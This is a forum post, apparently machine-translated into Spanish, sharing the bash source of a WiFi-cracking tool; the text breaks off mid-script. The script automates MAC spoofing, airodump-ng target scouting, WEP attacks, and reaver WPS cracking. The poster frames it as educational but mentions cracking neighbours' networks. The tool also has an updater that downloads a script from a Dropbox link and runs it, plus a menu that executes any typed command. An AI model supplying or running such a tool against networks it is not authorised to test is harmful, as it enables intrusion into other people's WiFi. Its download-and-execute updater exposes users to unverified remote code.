Wifi-Cracker v1.2.2

Iniciado por P4nd3m0n1um, 11 Noviembre 2012, 04:31 AM

0 Miembros y 1 Visitante están viendo este tema.

P4nd3m0n1um

WIFI-Cracker es un script que automatiza la AUDITORIA de las redes wifi. Está completamente creado por Mr. Penguin, de hecho lo hice hoy.

Es una prueba de concepto y se creó con fines educativos (ya que yo estaba aprendiendo sobre wifi).
Tengo la intención de hacer mucho más de agrietamiento WIFI de tu vecino porque honestamente que es fácil para mí ahora.
En la actualidad, quiero añadir algunas opciones más craqueo a la escritura, así como un menú Dauth. Te agradecería si alguien quiere contribuir en este proyecto.

Características
- Mac Spoofing con macchanger
- Target exploración con airodump-ng
- Cracking WEP y WPA / 2 (con aircrack-ng y reaver)
- Menú Depurar para corregir errores
- Un montón de cosas pequeñas para que el guión tan bueno como se puede ser Packet sniffing menú con tshark y Wireshark * NUEVO *
- Updater función * NUEVO *
- Continuar sesión anterior WPA hackear * NUEVO *

Actualización 2: v1.2.2 está en marcha con un montón de correcciones desde 1,2 y la posibilidad de reanudar las sesiones de Reaver.

ACTUALIZACIÓN: Esta es la nueva versión 1.2 WIFI-CRACKER donde muchas cosas se han solucionado y ha añadido unos cuantos. Las nuevas funciones incluyen una actualización y un menú de detección de paquetes. Enlace de descarga Igual que antes, y no necesitará nunca físicamente usarlo nunca más.

Más info @Hak5 y el crédito va a root920: http://goo.gl/FRKza

Source:

#!/bin/bash
#The current function to check for internet connection might be wrong sometimes, I'll try to find a better one. You can help by emailing @ andr920jhckrs+WIFICRACKER@gmail.com
# READ ABOUT FUNCTION!!!!!!
#~~~~~~~~~~~~~~~~~~~~ERROR CODES~~~~~~~~~~~~~~~~~
#EXIT 1 = not root
#EXIT 2 = dependencies
#EXIT 3 = after update
#EXIT 4 = normal exit, script over
#EXIT 5 = used quit
#EXIT ? = UNKNOWN ERROR PLEASE REPORT!!!
#======================================= VARIABLES =======================================#
#Colors for error message
RED='\033[0;41;30m'
STD='\033[0;0;39m'
#Variables
INTERFACE="wlan0"
BSSID="00:BB:CC:DD:EE:FF"
CHANNEL="7"
MAC="00:11:22:33:44:55"
CMAC="USED FOR CURRENT MAC"
INTERFACE2="mon0"
FILE="wifi-cracker"
ESSID="linksys"
MONMODE="OFF"
MACINFO="OFF"
MACMODE="OFF"
MACOPTION="m ${MAC}"
AIREPLAYPID="NOT RUNNING"
AIRODUMPPID="NOT RUNNING"
TERMINAL="gnome-terminal"
TERMCMD="USED BY TERMINAL COMMANDS"
KEY="NOTHING SAVED"
FILE2="tshark-output"
WIFICONNECTION="USED BY UPDATE FUNCTION"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! FUNCTIONS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! DEBUGING STUFF !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
debug() {
while true
do
show_logo
get_mac
echo "~~~~~~~~~~~~~~~~~~~~~~~"
echo " D E B U G - M E N U"
echo "~~~~~~~~~~~~~~~~~~~~~~~"
echo ""
echo "Please choose an option"
echo " 1.        Change Variables"
echo " 2.        Update Current Mac (${CMAC})"
echo " 3.        CLEAN UP FILES"
echo " 4.        Use Terminal Commands"
echo " 5.        Check airmon-ng"
echo " 6.        Check iwconfig"
echo " 7.        Check ifconfig"
echo " 8.        Check macchanger"
echo " 9. *MENU* Exit to main menu"
echo "10.        Exit WIFI-CRACKER"
local choice
read -p "Enter choice [ 1 - 10 ] " choice
case $choice in
1) changevar_menu ;;
2) get_mac ;;
3) clean_up ;;
4) read -p "MESSAGE: ENTER YOUR TERMINAL COMMAND here : " TERMCMD && ${TERMCMD} && pause ;;
5) echo "MESSAGE: VIEWING airmon-ng : " && airmon-ng && pause ;;
6) echo "MESSAGE: VIEWING iwconfig : " && iwconfig && pause ;;
7) echo "MESSAGE: VIEWING ifconfig : " && ifconfig && pause ;;
8) echo "MESSAGE: VIEWING macchanger -s : " && macchanger -s ${INTERFACE} && pause ;;
9) main_menu ;;
10) f_exit ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
changevar_menu() {
while true
do
show_logo
get_mac
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo " DEBUG MENU -> VARIABLES"
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo "Those are most of the variables of this script!"
echo "most because there are local variables (CHOICE;CONFIRM;COMMAND;WIFI)"
echo "DON'T MESS WITH THOSE UNLESS REALLY NEED TO!"
echo ""
echo " 1. *MENU* Back to debug"
echo " 2. *MENU* Exit to main menu"
echo " 3.        EXIT WIFI-CRACKER"
echo "Chose an option to change the variable"
echo " 4. Primary interface : ${INTERFACE}"
echo " 5. Target BSSID   : ${BSSID}"
echo " 6. Target Channel : ${CHANNEL}"
echo " 7. Desired MAC    : ${MAC}"
echo " 8. Current MAC    : ${CMAC}"
echo " 9. Monitor interface : ${INTERFACE2}"
echo "10. Save filename  : ${FILE}"
echo "11. Target ESSID   : ${ESSID}"
echo "12. Monitor Mode   : ${MONMODE}"
echo "13. MAC INFO mode  : ${MACINFO}"
echo "14. MAC Spoof mode : ${MACMODE}"
echo "15. Macchanger option : ${MACOPTION}"
echo "16. Aireplay PID   : ${AIREPLAYPID}"
echo "17. Airodump PID   : ${AIRODUMPPID}"
echo "18. Your terminal  : ${TERMINAL}"
echo "19. Variable TERMCMD : ${TERMCMD}"
echo "20. WIFI KEY               : ${KEY}"
echo "21. Tshark output name: ${FILE2}"
echo "22. Wifi Connection : ${WIFICONNECTION}"
echo ""
echo "Variable RED : ${RED}"
echo "Variable STD : ${STD}"
echo ""
echo "Script Argument 1 : ${1}"
echo "Script Argument 2 : ${2}"
echo "Script Argument 3 : ${3}"
echo "Script Argument 4 : ${4}"
echo "Script Argument 5 : ${5}"
local choice
read -p "Enter choice [ 1 - 22 ] " choice
case $choice in
1) debug ;;
2) main_menu ;;
3) f_exit ;;
4) read -p "Enter new Variable here : " INTERFACE && pause ;;
5) read -p "Enter new Variable here : " BSSID && pause ;;
6) read -p "Enter new Variable here : " CHANNEL && pause ;;
7) read -p "Enter new Variable here : " MAC && pause ;;
8) read -p "Enter new Variable here : " CMAC && pause ;;
9) read -p "Enter new Variable here : " INTERFACE2 && pause ;;
10) read -p "Enter new Variable here : " FILE && pause ;;
11) read -p "Enter new Variable here : " ESSID && pause ;;
12) read -p "Enter new Variable here : " MONMODE && pause ;;
13) read -p "Enter new Variable here : " MACINFO && pause ;;
14) read -p "Enter new Variable here : " MACMODE && pause ;;
15) read -p "Enter new Variable here : " MACOPTION && pause ;;
16) read -p "Enter new Variable here : " AIREPLAYPID && pause ;;
17) read -p "Enter new Variable here : " AIRODUMPPID && pause ;;
18) read -p "Enter new Variable here : " TERMINAL && pause ;;
19) read -p "Enter new Variable here : " TERMCMD && pause ;;
20) read -p "Enter new Variable here : " KEY && pause ;;
21) read -p "Enter new Variable here : " FILE2 && pause ;;
21) read -p "Enter new Variable here : " WIFICONNECTION && pause ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
###########################################################################################
check_internet() {
local WIFI
WIFI=`ifconfig wlan0 | grep -n Bcast`
case ${WIFI} in
"") WIFICONNECTION="OFF" ;;
*) WIFICONNECTION="ON"
esac
case ${WIFICONNECTION} in
"ON") echo "MESSAGE: WIFI/INTERNET APPARENTLY CONNECTED!";;
"OFF")echo "MESSAGE: YOU MUST BE CONNECTED TO THE INTERNET FOR THIS TO WORK!" & sleep 5 & main_menu ;;
*) echo -e "${RED}Error...${STD}" && sleep 2
esac
}
###########################################################################################
clean_up() {
local CONFIRM
read -p "Would you like WIFI-CRACKER to clean up it's files [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes)
show_logo &
echo "CLEANING UP..." &
kill ${AIRODUMPPID} &
kill ${AIREPLAYPID} &
rm *.ivs *.cap *.xor *.wpc &
reset_mac &
echo "CLEANING UP...DONE" &
sleep 3 ;;
*) echo -e "${RED}MESSAGE: YOUR CHOICE, CONTINUING...${STD}" && sleep 2
esac
local CONFIRM
read -p "Would you like WIFI-CRACKER to delete dependencies [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes)
show_logo &
echo "DELETING DEPENDENCIES..." &
apt-get remove aircrack-ng macchanger reaver tshark wireshark &
echo "DELETING DEPENDENCIES...DONE" &
sleep 3 ;;
*) echo -e "${RED}MESSAGE: YOUR CHOICE, CONTINUING...${STD}" && sleep 2
esac
}
###########################################################################################
pause(){
echo ""
echo ""
read -p "Press [Enter] key to continue..." fackEnterKey
clear
}
###########################################################################################
f_exit(){
clean_up
show_logo
echo "############################################################################"
echo "#########################NOW EXITING WIFI-CRACKER###########################"
echo "############################################################################"
echo ""
echo "reseting wireless interface."
ifconfig ${INTERFACE} down
echo "reseting wireless interface.."
ifconfig ${INTERFACE} up
echo "reseting wireless interface...DONE!"
echo ""
echo "IF YOUR WIFI STOPPED WORKING, TURN IT OFF THEN BACK ON"
pause
if [ `echo -n $USER` != "root" ]
then
exit 1
fi
if [ -z `which macchanger` ] || [ -z `which aircrack-ng` ] || [ -z `which reaver` ] || [ -z `which ${TERMINAL}` ]
then
exit 2
fi
exit 4
}
###########################################################################################
#=========================================================================================#
###########################################################################################
show_logo() {
clear
echo " ___________________________________________________________________________"
echo "| _ _ ___________ _____ AUTHOR ___________ ___ _____ _ _____________ |"
echo "|| | | |_ _| ___|_ _| root / __ \ ___ \/ _ \/ __ \ | / / ___| ___ \|"
echo "|| | | | | | | |_ | | ______ | / \/ |_/ / /_\ \ / \/ |/ /| |__ | |_/ /|"
echo "|| |/\| | | | | _| | ||______|| | | /| _ | | | \| __|| / |"
echo "|\ /\ /_| |_| | _| |_      | \__/\ |\ \| | | | \__/\ |\ \ |___| |\ \ |"
echo "| \/ \/ \___/\_| \___/*v1.2.2*\____|_| \_\_| |_/\____|_| \_|____/\_| \_||"
echo "|___________________________________________________________________________|"
}
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! START UP FUNCTIONS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
check_root() {
show_logo
echo "Performing start up checks..."
echo "Begin start up routine"
echo ""
echo "#################################################################"
echo "#######################CHECKING FOR ROOT#########################"
echo "#################################################################"
echo ""
if [ `echo -n $USER` != "root" ]
then
while true
do
echo "MESSAGE: ERROR: Please run as root!"
echo "You can either exit and run again through sudo ./filename.sh"
echo "Or type 1 and WIFI-CRACKER WILL REQUEST ROOT (by sudo -s)"
echo ""
echo "1. Attempt to get root"
echo "2. Exit WIFI-CRACKER"
echo ""
local choice
read -p "Enter choice [ 1 - 2 ] " choice
case $choice in
1) echo "Type your password (check the code if your afraid it's logged)" && echo "Run the script again" && echo "" && sudo -s ;;
2) f_exit ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear ;;
esac
done
fi
echo "MESSAGE: root access level confirmed!"
pause
}
###########################################################################################
check_dep() {
show_logo
echo "Performing start up checks..."
echo "Begin start up routine"
echo "root...............VERIFIED!"
echo ""
echo "#################################################################"
echo "######################CHECKING DEPENDENCIES######################"
echo "#############currently aircrack-ng;macchanger;reaver#############"
echo "#################################################################"
echo ""
if [ -z `which xterm` ] || [ -z `which gnome-terminal` ]
then
while true
do
echo "Which terminal do you prefer?"
echo "1. Gnome-terminal"
echo "2. XTerm"
echo "3. Enter your own terminal name"
local choice
read -p "Enter choice [ 1 - 3 ] " choice
case $choice in
1) TERMINAL="gnome-terminal" ;;
2) TERMINAL="xterm" ;;
3) read -p "Which one do you have? " ;;
*) echo "MESSAGE: YOU MUST CHOOSE A TERMINAL TO USE!" ;;
esac
local CONFIRM
echo "You choose this terminal for WIFI-CRACKER : ${TERMINAL}"
read -p "Is this information corrent [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) break ;;
*) echo "MESSAGE: Please re-enter information" ;;
esac
done
fi
echo ""
if [ -z `which macchanger` ] || [ -z `which aircrack-ng` ] || [ -z `which reaver` ] || [ -z `which tshark` ] || [ -z `which wireshark` ]
then echo "MESSAGE: One or more of the dependencies are not installed."
pause
local CONFIRM
read -p "Would you like WIFI-CRACKER to install them [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) check_internet && apt-get install aircrack-ng macchanger reaver tshark wireshark ${TERMINAL} && check_dep ;;
*) echo "MESSAGE: YOU MUST HAVE THE DEPENDENCIES FOR WIFI-CRACKER TO RUN!" && f_exit
esac
fi

echo "MESSAGE: Dependencies confirmed!"
pause
}
###########################################################################################
check_arg() {
show_logo
echo "Performing start up checks..."
echo "Begin start up routine"
echo "root...............VERIFIED!"
echo "dependencies.......VERIFIED!"
echo ""
echo "#################################################################"
echo "###############CHECKING IF AGRUMENTS WERE PROVIDED###############"
echo "#################################################################"
echo ""
if [ -z ${1} ] || [ -z ${2} ] || [ -z ${3} ] || [ -z ${4} ]
then
echo "MESSAGE: You haven't provided all arguments"
echo "MESSAGE: It's just another method of using this script"
echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel] [MAC]"
echo "MESSAGE: Example #`basename ${0}` wlan0"
echo "MESSAGE: If you see this, you will have to manually enter those later"
else
INTERFACE="`echo "${1}" `"
BSSID="`echo "${2}" `"
CHANNEL="`echo "${3}" `"
MAC="`echo "${4}" `"
echo "MESSAGE: You provided all the arguments"
echo "MESSAGE: Your primary interface is         : ${INTERFACE}"
echo "MESSAGE: Your Target BSSID is      : ${BSSID}"
echo "MESSAGE: Your Target channel is    : ${CHANNEL}"
echo "MESSAGE: Your desired MAC Address is       : ${MAC}"
MACINFO="ON"
fi
pause
}
###########################################################################################
last_stp_msg() {
show_logo
echo "Performing start up checks..."
echo "Begin start up routine"
echo "root...............VERIFIED!"
echo "dependencies.......VERIFIED!"
echo "script arguments...VERIFIED!"
get_mac
echo "current mac.......RETRIEVED!"
pause
}
###########################################################################################
about() {
show_logo
echo "I don't own the programs used in this script"
echo "(macchanger;aircrack-ng;reaver;tshark;wireshark)"
echo ""
echo "DISCLAIMER :"
echo "WIFI-CRACKER IS A SCRIPT DESIGNED TO AUTOMATE THE PROCESS OF CRACKING YOUR"
echo "WIRELESS NETWORK AND WAS CREATED FOR EDUCATIONNAL PURPOSES. I AM NOT IN ANY"
echo "WAY RESPONSIBLE FOR ANY CRIMES YOU COMMIT USING THIS SCRIPT!"
echo ""
echo "CHANGE LOG :"
# echo "*ALPHA-v0.1* ABILITY TO CHANGE MAC"
# echo "*ALPHA-v0.1* ABILITY TO SCOUT FOR TARGETS"
# echo "*ALPHA-v0.1* ABILITY TO CRACK A WEP PROTECTED NETWORK"
# echo "*ALPHA-v0.2* ORGANIZED IN FUNCTIONS, CLEAN UP CODE, NOW MENU DRIVEN"
# echo "*ALPHA-v0.3* SCOUTING MENU DONE; CRACKING MENU IN PROGRESS (+WPA)"
# echo "*ALPHA-v0.4* MAC SPOOF NOW HAS OPTIONS AND MENU"
# echo "*BETA -v0.5* CRACKING ALMOST DONE(+WEP PASSIVE); STARTED CLEANUP AND DEBUG"
# echo "*BETA -v0.6* ADDED ABOUT SCREEN; ADDED TERMINAL CHOICE"
# echo "*BETA -v0.7* CRACKING MENU(+CRACK FILE & AIRCRACK CONTROL)"
# echo "*BETA -v0.8* DEBUG MENU ALMOST COMPLETE; CAN CONTROL TERMINAL FROM DEBUG MENU"
# echo "*BETA -v0.9* CRACKING FINISHED (FRAGMENTATION ATTACK ADDED)"
# echo "*FINAL-v1.0* FINISHED DEBUG MENU; ADDED DOWNLOAD INFO"
echo "*v1.0* FIRST PUBLIC RELEASE"
echo "*v1.1* LOTS OF FIXES (TYPOS+CHECKS+etc.); OPTION TO ASK FOR ROOT"
echo "*v1.2* FIXES; ADDED PACKET SNIFFING MENU; ADDED UPDATE FUNCTION"
echo "*v1.2.1* FIXED MAJOR ISSUE WITH CRACKING FROM FILE METHODS AND SOME TYPOS"
echo "*v1.2.2* FIXED LOTS OF BUGS ; MADE WPA CRACKING BETTER ; ADDED CONTINUE REAVER SESSION"
echo "*TODO* FIX SCRIPT ARGUMENTS ; ADD BRUTE FORCE CRACK ; MAKE DAuth MENU"
echo ""
echo "ORIGINAL NAME : WIFI-CRACKER-by-root.sh"
echo "CURRENT NAME : `basename ${0}`"
echo "AUTHOR             : root/andr920"
echo "LATEST VERSION : v1.2.2"
echo "LAST RELEASE : Tue 07 Aug 2012 - 23:32"
echo ""
echo "You can always download the newest version of this script here:"
echo "http://dl.dropbox.com/u/34008580/WIFI-CRACKER-by-root.sh"
echo "OR use the built-in updater"
echo ""
echo "If you have any issues email me at : andr920jhckrs+WIFICRACKER@gmail.com"
pause
}
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! MAIN FUNCTIONS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
start_up() {
trap '' SIGINT SIGQUIT SIGTSTP
echo "Traping exit keystrokes"
check_root
check_dep
check_arg
last_stp_msg
about
main_menu
}
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
main_menu() {
while true
do
show_logo
echo "~~~~~~~~~~~~~~~~~~~~~"
echo " M A I N - M E N U"
echo "~~~~~~~~~~~~~~~~~~~~~"
echo "Please choose an option"
echo "1. *MENU* Mac spoofer"
echo "2. *MENU* Target scouting"
echo "3. *MENU* Cracking         *SOON -> WEP CRACK METHOD 3 and BRUTE FORCE*"
echo "4. *MENU* Packet Sniffing *NEW*"
echo "5. *MENU* DAuth            *COMING SOON"
echo "6. UPDATE WIFI-CRACKER *NEW*"
echo "7.         Exit WIFI-CRACK"
echo ""
echo "~ for debug MENU"
echo ""
local choice
read -p "Enter choice [ 1 - 7 ] " choice
case $choice in
1) macspoof_info ;;
2) scout_menu ;;
3) crack_menu ;;
4) sniff_menu ;;
5) echo "" echo "DAuth menu (featuring some aireplay, airdrop and maybe mdk3) *COMING SOON*" && pause ;;
6) update ;;
7) f_exit;;
"~") debug ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
###########################################################################################
update() {
show_logo
echo "############################################################################"
echo "###########################UPDATING WIFI-CRACKER###########################"
echo "#################################using wget#################################"
echo "############################################################################"
check_internet
echo "update...downloading"
wget -O WIFI-CRACKER-by-root.sh http://dl.dropbox.com/u/34008580/WIFI-CRACKER-by-root.sh
echo "update...allowing to execute"
chmod +x WIFI-CRACKER-by-root.sh
echo "update...running"
./WIFI-CRACKER-by-root.sh
exit 3
}
#=========================================================================================#
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! MAC SPOOF OPTION !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
macspoof_info() {
show_logo
echo "############################################################################"
echo "#############################MAC SPOOFING START#############################"
echo "##############################using macchanger##############################"
echo "############################################################################"
echo ""
if [ ${MACINFO} != "ON" ]
then
while true
do
echo "MESSAGE: YOU MUST PROVIDE YOUR INTERFACE AND DESIRED MAC ADDRESS IN ORDER TO PROCEED"
change_mac
done
else
echo "MESSAGE: YOU HAVE ALREADY PROVIDED A MAC ADDRESS TO SPOOF"
pause
MACINFO="ON"
macspoof_menu
fi
}
###########################################################################################
get_mac() {
CMAC=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`
}
#==================================== OW LOOK A MENU =====================================#
macspoof_menu() {
while true
do
show_logo
get_mac
echo "~~~~~~~~~~~~~~~~~~~~~"
echo " MAC SPOOFING MENU"
echo "~~~~~~~~~~~~~~~~~~~~~"
echo "Your current MAC : ${CMAC}"
echo "Your desired MAC : ${MAC}"
echo "Is your MAC spoofed? (STATUS: ${MACMODE})"
echo "========================================="
echo "Please choose an option"
echo "1.         Change to Random vendor MAC"
echo "2.         Change to Fully random MAC"
echo "3.         Change to Desired MAC"
echo "4.         Reset MAC"
echo "5.         Change the desired MAC"
echo "6. *MENU* Go to scouting menu"
echo "7. *MENU* Go to cracking menu"
echo "8. *MENU* Exit to main menu"
echo "9.         Exit WIFI-CRACKER"
echo ""
local choice
read -p "Enter choice [ 1 - 9 ] " choice
case $choice in
1) MACOPTION="-A" && macspoof;;
2) MACOPTION="-r" && macspoof;;
3) MACOPTION="-m ${MAC}" && macspoof ;;
4) reset_mac ;;
5) change_mac ;;
6) scout_menu ;;
7) crack_menu ;;
8) main_menu ;;
9) f_exit;;
"~") debug ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
#=========================================================================================#
###########################################################################################
###########################################################################################
reset_mac() {
show_logo
echo "############################################################################"
echo "############################RESETING MAC ADDRESS############################"
echo "##############################using macchanger##############################"
echo "############################################################################"
echo "MAC reset is in progress."
off_mon
echo "MAC reset is in progress..bringing wireless interface down"
ifconfig ${INTERFACE} down
echo "MAC reset is in progress...applying changes with macchanger"
macchanger -p ${INTERFACE}
echo "MAC reset is in progress....bringing wireless back up"
ifconfig ${INTERFACE} up
echo "MAC reset is in progress.....DONE!"
MACMODE="OFF"
echo ""
sleep 3
}
###########################################################################################
###########################################################################################
change_mac() {
show_logo
echo "############################################################################"
echo "##########################CHANGING DESIRED MAC INFO#########################"
echo "##############################using macchanger##############################"
echo "############################################################################"
while true
do
read -p "WHAT IS YOUR PRIMARY INTERFACE ?? " INTERFACE
read -p "WHAT IS YOUR DESIRED MAC ADDRESS ?? " MAC
echo "MESSAGE: Your primary interface is         : ${INTERFACE}"
echo "MESSAGE: Your desired MAC Address is       : ${MAC}"
local CONFIRM
read -p "Is this information corrent [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) MACINFO="ON" && break ;;
*) echo "MESSAGE: Please re-enter information"
esac
done
pause
macspoof_info
}
###########################################################################################
###########################################################################################
macspoof() {
show_logo
echo "############################################################################"
echo "############################SPOOFING MAC ADDRESS############################"
echo "##############################using macchanger##############################"
echo "############################################################################"
echo "MAC spoofing is in progress."
off_mon
echo "MAC spoofing is in progress..bringing wireless interface down"
ifconfig ${INTERFACE} down
echo "MAC spoofing is in progress...applying changes with macchanger"
macchanger ${MACOPTION} ${INTERFACE}
echo "MAC spoofing is in progress....bringing wireless back up"
ifconfig ${INTERFACE} up
echo "MAC spoofing is in progress.....DONE!"
MACMODE="ON"
pause
}
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! SCOUTING OPTION !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
scout_menu() {
while true
do
show_logo
echo "~~~~~~~~~~~~~~~~~~~~~~~~~"
echo " TARGET SCOUTING MENU"
echo "~~~~~~~~~~~~~~~~~~~~~~~~~"
echo "MESSAGE: WHILE SCOUTING REMEMBER YOUR TARGET'S BSSID, CHANNEL"
echo "MESSAGE: YOU WILL BE PROMPTED TO SAVE THIS INFO AFTER A SCOUTING SESSION"
echo "========================================================================"
echo "YOUR PRIMARY INTERFACE IS : ${INTERFACE} ; YOUR MONITOR INTERFACE IS : ${INTERFACE2}"
echo "========================================================================"
echo "Please choose an option"
echo "1.         Start scouting for WEP Targets"
echo "2.         Start scouting for ALL Targets"
echo "3.         Tell WIFI-CRACKER monitor mode status (STATUS: ${MONMODE})"
echo "4.         Turn ON monitor mode (STATUS: ${MONMODE})"
echo "5.         Turn OFF monitor mode (STATUS: ${MONMODE})"
echo "6.         Change you primary and monitoring interfaces' name"
echo "7. *MENU* Continue to the cracking menu"
echo "8. *MENU* Exit to main menu"
echo "9.         Exit WIFI-CRACKER"
local choice
read -p "Enter choice [ 1 - 9 ] " choice
case $choice in
1) scout_wep ;;
2) scout_all ;;
3) change_mon ;;
4) enable_mon ;;
5) off_mon ;;
6) ask_ifaces ;;
7) crack_menu ;;
8) main_menu ;;
9) f_exit ;;
"~") debug ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
#=========================================================================================#
change_mon() {
echo "Select 1. OFF or 2. ON for monitor interface mode (STATUS: ${MONMODE})"
local choice
read -p "Enter choice [ 1 - 2 ] " choice
case $choice in
1) MONMODE="OFF" ;;
2) MONMODE="ON" ;;
*) change_mon ;;
esac
}
###########################################################################################
enable_mon() {
show_logo
echo "############################################################################"
echo "###########################ENABLING MONITOR MODE############################"
echo "##############################using airomon-ng##############################"
echo "############################################################################"
airmon-ng stop mon0
airmon-ng stop mon1
airmon-ng stop ${INTERFACE2}
airmon-ng stop ${INTERFACE}
airmon-ng start ${INTERFACE}
MONMODE="ON"
}
###########################################################################################
off_mon() {
show_logo
echo "############################################################################"
echo "#########################TURNNING OFF MONITOR MODE##########################"
echo "##############################using airomon-ng##############################"
echo "############################################################################"
airmon-ng stop mon0
airmon-ng stop mon1
airmon-ng stop ${INTERFACE2}
airmon-ng stop ${INTERFACE}
MONMODE="OFF"
}
###########################################################################################
ask_ifaces() {
show_logo
echo "############################################################################"
echo "#########################CHANGING INTERFACES NAMES##########################"
echo "############################################################################"
echo "WHAT IS YOUR PRIMARY INTERFACE"
while true
do
read -p "WHAT IS YOUR PRIMARY INTERFACE ??" INTERFACE
read -p "WHAT IS YOUR MONITOR INTERFACE ??" INTERFACE2
echo "MESSAGE: Your primary interface is         : ${INTERFACE}"
echo "MESSAGE: Your desired MAC Address is       : ${INTERFACE2}"
local CONFIRM
read -p "Is this information correct [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) break ;;
*) echo "MESSAGE: Please re-enter information"
esac
done
pause
}
###########################################################################################
###########################################################################################
scout_wep() {
show_logo
echo "############################################################################"
echo "##########################SCOUTING FOR WEP TARGETS##########################"
echo "##############################using airodump###############################"
echo "############################################################################"
pre_crack
echo "MESSAGE: use CTRL+C to exit airodump once you've picked a target and took all"
echo "   the info you need."
pause
airodump-ng --encrypt WEP ${INTERFACE2}
local CONFIRM
read -p "MESSAGE: WOULD YOU LIKE TO WRITE DOWN YOUR TARGET'S INFO NOW [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) change_target ;;
*) echo -e "${RED}MESSAGE: YOUR CHOICE, BACK TO MENU...${STD}" && sleep 2;;
esac
}
###########################################################################################
###########################################################################################
scout_all() {
show_logo
echo "############################################################################"
echo "############################SCOUTING FOR TARGETS############################"
echo "##############################using airodump###############################"
echo "############################################################################"
pre_crack
echo "MESSAGE: use CTRL+C to exit airodump once you've picked a target and took all"
echo "   the info you need."
pause
airodump-ng ${INTERFACE2}
local CONFIRM
read -p "MESSAGE: WOULD YOU LIKE TO WRITE DOWN YOUR TARGET'S INFO NOW [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) change_target ;;
*) echo -e "${RED}MESSAGE: YOUR CHOICE, BACK TO MENU...${STD}" && sleep 2;;
esac
}
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! CRACKING OPTION !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
crack_menu() {
while true
do
show_logo
echo "~~~~~~~~~~~~~~~~~~~~~~~"
echo " CRACKING WIFI MENU"
echo "~~~~~~~~~~~~~~~~~~~~~~~"
echo "========================================================================"
echo "YOUR PRIMARY INTERFACE IS : ${INTERFACE} ; YOUR MONITOR INTERFACE IS : ${INTERFACE2}"
echo "SAVE FILENAME : ${FILE} YOUR CURRENT MAC IS : ${CMAC}"
echo "========================================================================"
echo "TARGET BSSID : ${BSSID} TARGET CHANNEL : ${CHANNEL}"
echo "TARGET ESSID : ${ESSID} CURRENTLY CRACKED WIFI KEY : ${KEY}"
echo "========================================================================"
echo "Please choose an option"
echo " Have you changed your MAC yet? (STATUS: ${MACMODE})"
echo " 1. *MENU* Visit Mac spoofing menu"
echo " Haven't selected a target yet?"
echo " 2. *MENU* Visit Target scouting menu"
echo " 3.        Changer your target's information"
echo " 4. WEP - Passive crack (No package generation)"
echo " 5. WEP - Active crack (might make AP unusable while attacking)"
echo " 6. WEP - Active crack with Fragmentation attack"
echo " 7. WEP - Crack a previously saved session of airodump (METHOD 1)"
echo " 8. WEP - Crack a previously saved session of airodump (METHOD 2)"
echo " 9.        Use aircrack-ng (any command you want)"        
echo "10. WPA - Crack WPA/2(if enabled WPS) with Reaver"
echo "11. WPA - Continue previous Reaver session *NEW*"
echo "12.        Change you primary and monitoring interfaces' name"
echo "13.        Tell WIFI-CRACKER monitor mode status (STATUS: ${MONMODE})"
echo "14.        Turn ON monitor mode (STATUS: ${MONMODE})"
echo "15.        Turn OFF monitor mode (STATUS: ${MONMODE})"
echo "16. *MENU* Exit to main menu"
echo "17.        Exit WIFI-CRACKER"
local choice
read -p "Enter choice [ 1 - 17 ] " choice
case $choice in
1) macspoof_info ;;
2) scout_menu ;;
3) change_target && pause ;;
4) passive_wepcrack ;;
5) wepcrack ;;
6) wepcrack2_frag ;;
7) wepfile_crack ;;
8) wepfile_crack2 ;;
9) aircrack ;;
10) wpacrack ;;
11) wpacrack_continue ;;
12) ask_ifaces ;;
13) change_mon ;;
14) enable_mon ;;
15) off_mon ;;
16) main_menu ;;
17) f_exit ;;
"~") debug ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
###########################################################################################
change_target() {
while true
do
echo ""
echo ""
echo "############################################################################"
